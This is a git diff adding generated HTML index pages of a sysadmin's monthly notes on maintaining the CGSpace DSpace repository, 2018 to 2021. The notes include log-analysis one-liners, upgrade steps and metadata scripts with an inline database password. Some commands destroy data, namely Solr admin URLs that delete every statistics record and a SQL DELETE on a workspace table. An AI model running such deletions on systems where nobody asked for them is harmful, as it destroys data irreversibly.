+$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili
+ations-matching.csv
+$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l 
+1879
+$ wc -l /tmp/2021-10-01-affiliations.txt 
+7100 /tmp/2021-10-01-affiliations.txt
+
    +
  • So we have 1879/7100 (26.46%) matching already
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-09-02

+
    +
  • Troubleshooting the missing Altmetric scores on AReS +
      +
    • Turns out that I didn’t actually fix them last month because the check for content.altmetric still exists, and I can’t access the DOIs using _h.source.DOI for some reason
      • +
    • I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!
      • +
    • I will change DOI to tomato in the repository setup and start a re-harvest… I need to see if this is some kind of reserved word or something…
      • +
    • Even as tomato I can’t access that field as _h.source.tomato in Angular, but it does work as a filter source… sigh
      • +
    +
    • +
  • I’m having problems using the OpenRXV API +
      +
    • The syntax Moayad showed me last month doesn’t seem to honor the search query properly…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-08-01

+
    +
  • Update Docker images on AReS server (linode20) and reboot the server:
    • +
+
# docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull
+
    +
  • I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-07-01

+
    +
  • Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER;
+COPY 20994
+
+ Read more → +
+ + + + + + +
+
+

June, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-06-01

+
    +
  • IWMI notified me that AReS was down with an HTTP 502 error +
      +
    • Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification
      • +
    • I don’t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the angular_nginx container isn’t running
      • +
    • I simply started it and AReS was running again:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-05-01

+
    +
  • I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +
      +
    • “RI/1.0”, 1337
      • +
    • “Microsoft Office Word 2014”, 941
      • +
    +
    • +
  • I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-04-01

+
    +
  • I wrote a script to query Sherpa’s API for our ISSNs: sherpa-issn-lookup.py +
      +
    • I’m curious to see how the results compare with the results from Crossref yesterday
      • +
    +
    • +
  • AReS Explorer was down since this morning, I didn’t see anything in the systemd journal +
      +
    • I simply took everything down with docker-compose and then back up, and then it was OK
      • +
    • Perhaps one of the containers crashed, I should have looked closer but I was in a hurry
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-03-01

+
    +
  • Discuss some OpenRXV issues with Abdullah from CodeObia +
      +
    • He’s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API
      • +
    • Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/4/index.html b/docs/posts/page/4/index.html new file mode 100644 index 000000000..67098125d --- /dev/null +++ b/docs/posts/page/4/index.html @@ -0,0 +1,464 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

February, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-02-01

+
    +
  • Abenet said that CIP found more duplicate records in their export from AReS + +
    • +
  • I had a call with CodeObia to discuss the work on OpenRXV
    • +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100875,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
+ Read more → +
+ + + + + + +
+
+

January, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-01-03

+
    +
  • Peter notified me that some filters on AReS were broken again +
      +
    • It’s the same issue with the field names getting .keyword appended to the end that I already filed an issue on OpenRXV about last month
      • +
    • I fixed the broken filters (careful to not edit any others, lest they break too!)
      • +
    +
    • +
  • Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +
      +
    • The start page had been “1” in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API
      • +
    • I adjusted it to default to 0 and added a note to the admin screen
      • +
    • I realized that this issue was actually causing the first page of 100 statistics to be missing…
      • +
    • For example, this item has 51 views on CGSpace, but 0 on AReS
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-12-01

+
    +
  • Atmire responded about the issue with duplicate data in our Solr statistics +
      +
    • They noticed that some records in the statistics-2015 core haven’t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven’t migrated any of the records yet
      • +
    • That’s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the cua_version field
      • +
    • I started processing those (about 411,000 records):
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

November, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-11-01

+
    +
  • Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +
      +
    • So far we’ve spent at least fifty hours to process the statistics and statistics-2019 core… wow.
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-10-06

+
    +
  • Add tests for the new /items POST handlers to the DSpace 6.x branch of my dspace-statistics-api + +
    • +
  • Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +
      +
    • During the FlywayDB migration I got an error:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-09-02

+
    +
  • Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS
    • +
  • The AReS Explorer hasn’t updated its index since 2020-08-22 when I last forced it +
      +
    • I restarted it again now and told Moayad that the automatic indexing isn’t working
      • +
    +
    • +
  • Add Alliance of Bioversity International and CIAT to affiliations on CGSpace
    • +
  • Abenet told me that the general search text on AReS doesn’t get reset when you use the “Reset Filters” button + +
    • +
  • I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-08-02

+
    +
  • I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their cg.coverage.country text values +
      +
    • It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter’s preferred “display” country names)
      • +
    • It implements a “force” mode too that will clear existing country codes and re-tag everything
      • +
    • It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-07-01

+
    +
  • A few users noticed that CGSpace wasn’t loading items today, item pages seem blank +
      +
    • I looked at the PostgreSQL locks but they don’t seem unusual
      • +
    • I guess this is the same “blank item page” issue that we had a few times in 2019 that we never solved
      • +
    • I restarted Tomcat and PostgreSQL and the issue was gone
      • +
    +
    • +
  • Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-06-01

+
    +
  • I tried to run the AtomicStatisticsUpdateCLI CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +
      +
    • I sent Atmire the dspace.log from today and told them to log into the server to debug the process
      • +
    +
    • +
  • In other news, I checked the statistics API on DSpace 6 and it’s working
    • +
  • I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/5/index.html b/docs/posts/page/5/index.html new file mode 100644 index 000000000..420cb8063 --- /dev/null +++ b/docs/posts/page/5/index.html @@ -0,0 +1,492 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

May, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-05-02

+
    +
  • Peter said that CTA is having problems submitting an item to CGSpace +
      +
    • Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in ‘idle in transaction’ and ‘waiting for lock’ state are increasing again
      • +
    • I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-04-02

+
    +
  • Maria asked me to update Charles Staver’s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +
      +
    • I updated the fifty-eight existing items on CGSpace
      • +
    +
    • +
  • Looking into the items Udana had asked about last week that were missing Altmetric donuts: + +
    • +
  • On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

February, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-02-02

+
    +
  • Continue working on porting CGSpace’s DSpace 5 code to DSpace 6.3 that I started yesterday +
      +
    • Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database
      • +
    • I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks
      • +
    • Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff
      • +
    • The code finally builds and runs with a fresh install
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-01-06

+
    +
  • Open a ticket with Atmire to request a quote for the upgrade to DSpace 6
    • +
  • Last week Altmetric responded about the item that had a lower score than than its DOI +
      +
    • The score is now linked to the DOI
      • +
    • Another item that had the same problem in 2019 has now also linked to the score for its DOI
      • +
    • Another item that had the same problem in 2019 has also been fixed
      • +
    +
    • +
+

2020-01-07

+
    +
  • Peter Ballantyne highlighted one more WLE item that is missing the Altmetric score that its DOI has +
      +
    • The DOI has a score of 259, but the Handle has no score at all
      • +
    • I tweeted the CGSpace repository link
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-12-01

+
    +
  • Upgrade CGSpace (linode18) to Ubuntu 18.04: +
      +
    • Check any packages that have residual configs and purge them:
      • +
    • # dpkg -l | grep -E ‘^rc’ | awk ‘{print $2}’ | xargs dpkg -P
      • +
    • Make sure all packages are up to date and the package manager is up to date, then reboot:
      • +
    +
    • +
+
# apt update && apt full-upgrade
+# apt-get autoremove && apt-get autoclean
+# dpkg -C
+# reboot
+
+ Read more → +
+ + + + + + +
+
+

November, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-11-04

+
    +
  • Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +
      +
    • I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+4671942
+# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+1277694
+
    +
  • So 4.6 million from XMLUI and another 1.2 million from API requests
    • +
  • Let’s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):
    • +
+
# zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E "[0-9]{1,2}/Oct/2019"
+1183456 
+# zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams"
+106781
+
+ Read more → +
+ + + + + + +
+
+

October, 2019

+

by Alan Orth in + Notes + + +

+
+ 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script’s “unneccesary Unicode” fix: $ csvcut -c 'id,dc. + Read more → +
+ + + + + + +
+
+

September, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-09-01

+
    +
  • Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning
    • +
  • Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    440 17.58.101.255
+    441 157.55.39.101
+    485 207.46.13.43
+    728 169.60.128.125
+    730 207.46.13.108
+    758 157.55.39.9
+    808 66.160.140.179
+    814 207.46.13.212
+   2472 163.172.71.23
+   6092 3.94.211.189
+# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     33 2a01:7e00::f03c:91ff:fe16:fcb
+     57 3.83.192.124
+     57 3.87.77.25
+     57 54.82.1.8
+    822 2a01:9cc0:47:1:1a:4:0:2
+   1223 45.5.184.72
+   1633 172.104.229.92
+   5112 205.186.128.185
+   7249 2a01:7e00::f03c:91ff:fe18:7396
+   9124 45.5.186.2
+
+ Read more → +
+ + + + + + +
+
+

August, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-08-03

+
    +
  • Look at Bioversity’s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name…
    • +
+

2019-08-04

+
    +
  • Deploy ORCID identifier updates requested by Bioversity to CGSpace
    • +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • Before updating it I checked Solr and verified that all statistics cores were loaded properly…
      • +
    • After rebooting, all statistics cores were loaded… wow, that’s lucky.
      • +
    +
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/6/index.html b/docs/posts/page/6/index.html new file mode 100644 index 000000000..eb88b6c93 --- /dev/null +++ b/docs/posts/page/6/index.html @@ -0,0 +1,488 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

July, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-07-01

+
    +
  • Create an “AfricaRice books and book chapters” collection on CGSpace for AfricaRice
    • +
  • Last month Sisay asked why the following “most popular” statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: + +
    • +
  • Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

May, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-05-01

+
    +
  • Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace
    • +
  • A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +
      +
    • Apparently if the item is in the workflowitem table it is submitted to a workflow
      • +
    • And if it is in the workspaceitem table it is in the pre-submitted state
      • +
    +
    • +
  • The item seems to be in a pre-submitted state, so I tried to delete it from there:
    • +
+
dspace=# DELETE FROM workspaceitem WHERE item_id=74648;
+DELETE 1
+
    +
  • But after this I tried to delete the item from the XMLUI and it is still present…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-04-01

+
    +
  • Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +
      +
    • They asked if we had plans to enable RDF support in CGSpace
      • +
    +
    • +
  • There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +
      +
    • I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!
      • +
    +
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep 'Spore-192-EN-web.pdf' | grep -E '(18.196.196.108|18.195.78.144|18.195.218.6)' | awk '{print $9}' | sort | uniq -c | sort -n | tail -n 5
+   4432 200
+
    +
  • In the last two weeks there have been 47,000 downloads of this same exact PDF by these three IP addresses
    • +
  • Apply country and region corrections and deletions on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -m 228 -t ACTION -d
+$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 231 -t action -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d
+
+ Read more → +
+ + + + + + +
+
+

March, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-03-01

+
    +
  • I checked IITA’s 259 Feb 14 records from last month for duplicates using Atmire’s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good
    • +
  • I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc…
    • +
  • Looking at the other half of Udana’s WLE records from 2018-11 +
      +
    • I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)
      • +
    • I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items
      • +
    • Most worryingly, there are encoding errors in the abstracts for eleven items, for example:
      • +
    • 68.15% � 9.45 instead of 68.15% ± 9.45
      • +
    • 2003�2013 instead of 2003–2013
      • +
    +
    • +
  • I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-02-01

+
    +
  • Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!
    • +
  • The top IPs before, during, and after this latest alert tonight were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "01/Feb/2019:(17|18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    245 207.46.13.5
+    332 54.70.40.11
+    385 5.143.231.38
+    405 207.46.13.173
+    405 207.46.13.75
+   1117 66.249.66.219
+   1121 35.237.175.180
+   1546 5.9.6.51
+   2474 45.5.186.2
+   5490 85.25.237.71
+
    +
  • 85.25.237.71 is the “Linguee Bot” that I first saw last month
    • +
  • The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase
    • +
  • There were just over 3 million accesses in the nginx logs last month:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2019"
+3018243
+
+real    0m19.873s
+user    0m22.203s
+sys     0m1.979s
+
+ Read more → +
+ + + + + + +
+
+

January, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-01-02

+
    +
  • Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning
    • +
  • I don’t see anything interesting in the web server logs around that time though:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     92 40.77.167.4
+     99 210.7.29.100
+    120 38.126.157.45
+    177 35.237.175.180
+    177 40.77.167.32
+    216 66.249.75.219
+    225 18.203.76.93
+    261 46.101.86.248
+    357 207.46.13.1
+    903 54.70.40.11
+
+ Read more → +
+ + + + + + +
+
+

December, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-12-01

+
    +
  • Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK
    • +
  • I manually installed OpenJDK, then removed Oracle JDK, then re-ran the Ansible playbook to update all configuration files, etc
    • +
  • Then I ran all system updates and restarted the server
    • +
+

2018-12-02

+ + Read more → +
+ + + + + + +
+
+

November, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-11-01

+
    +
  • Finalize AReS Phase I and Phase II ToRs
    • +
  • Send a note about my dspace-statistics-api to the dspace-tech mailing list
    • +
+

2018-11-03

+
    +
  • Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage
    • +
  • Today these are the top 10 IPs:
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-10-01

+
    +
  • Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items
    • +
  • I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/7/index.html b/docs/posts/page/7/index.html new file mode 100644 index 000000000..5444a07e1 --- /dev/null +++ b/docs/posts/page/7/index.html @@ -0,0 +1,497 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

September, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-09-02

+
    +
  • New PostgreSQL JDBC driver version 42.2.5
    • +
  • I’ll update the DSpace role in our Ansible infrastructure playbooks and run the updated playbooks on CGSpace and DSpace Test
    • +
  • Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month
    • +
  • I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again:
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-08-01

+
    +
  • DSpace Test had crashed at some point yesterday morning and I see the following in dmesg:
    • +
+
[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child
+[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB
+[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight
    • +
  • From the DSpace log I see that eventually Solr stopped responding, so I guess the java process that was OOM killed above was Tomcat’s
    • +
  • I’m not sure why Tomcat didn’t crash with an OutOfMemoryError…
    • +
  • Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core
    • +
  • The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes
    • +
  • I ran all system updates on DSpace Test and rebooted it
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-07-01

+
    +
  • I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:
    • +
+
$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace
+
    +
  • During the mvn package stage on the 5.8 branch I kept getting issues with java running out of memory:
    • +
+
There is insufficient memory for the Java Runtime Environment to continue.
+
+ Read more → +
+ + + + + + +
+
+

June, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-06-04

+
    +
  • Test the DSpace 5.8 module upgrades from Atmire (#378) +
      +
    • There seems to be a problem with the CUA and L&R versions in pom.xml because they are using SNAPSHOT and it doesn’t build
      • +
    +
    • +
  • I added the new CCAFS Phase II Project Tag PII-FP1_PACCA2 and merged it into the 5_x-prod branch (#379)
    • +
  • I proofed and tested the ILRI author corrections that Peter sent back to me this week:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3 -n
+
    +
  • I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in March, 2018
    • +
  • Time to index ~70,000 items on CGSpace:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b                                  
+
+real    74m42.646s
+user    8m5.056s
+sys     2m7.289s
+
+ Read more → +
+ + + + + + +
+
+

May, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-05-01

+
    +
  • I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +
      +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E
      • +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E
      • +
    +
    • +
  • Then I reduced the JVM heap size from 6144 back to 5120m
    • +
  • Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-04-01

+
    +
  • I tried to test something on DSpace Test but noticed that it’s down since god knows when
    • +
  • Catalina logs at least show some memory errors yesterday:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-03-02

+
    +
  • Export a CSV of the IITA community metadata for Martin Mueller
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-02-01

+
    +
  • Peter gave feedback on the dc.rights proof of concept that I had sent him last week
    • +
  • We don’t need to distinguish between internal and external works, so that makes it just a simple list
    • +
  • Yesterday I figured out how to monitor DSpace sessions using JMX
    • +
  • I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-01-02

+
    +
  • Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time
    • +
  • I didn’t get any load alerts from Linode and the REST and XMLUI logs don’t show anything out of the ordinary
    • +
  • The nginx logs show HTTP 200s until 02/Jan/2018:11:27:17 +0000 when Uptime Robot got an HTTP 500
    • +
  • In dspace.log around that time I see many errors like “Client closed the connection before file download was complete”
    • +
  • And just before that I see this:
    • +
+
Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000].
+
    +
  • Ah hah! So the pool was actually empty!
    • +
  • I need to increase that, let’s try to bump it up from 50 to 75
    • +
  • After that one client got an HTTP 499 but then the rest were HTTP 200, so I don’t know what the hell Uptime Robot saw
    • +
  • I notice this error quite a few times in dspace.log:
    • +
+
2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1976+TO+1979]': Encountered " "]" "] "" at line 1, column 32.
+
    +
  • And there are many of these errors every day for the past month:
    • +
+
$ grep -c "Error while searching for sidebar facets" dspace.log.*
+dspace.log.2017-11-21:4
+dspace.log.2017-11-22:1
+dspace.log.2017-11-23:4
+dspace.log.2017-11-24:11
+dspace.log.2017-11-25:0
+dspace.log.2017-11-26:1
+dspace.log.2017-11-27:7
+dspace.log.2017-11-28:21
+dspace.log.2017-11-29:31
+dspace.log.2017-11-30:15
+dspace.log.2017-12-01:15
+dspace.log.2017-12-02:20
+dspace.log.2017-12-03:38
+dspace.log.2017-12-04:65
+dspace.log.2017-12-05:43
+dspace.log.2017-12-06:72
+dspace.log.2017-12-07:27
+dspace.log.2017-12-08:15
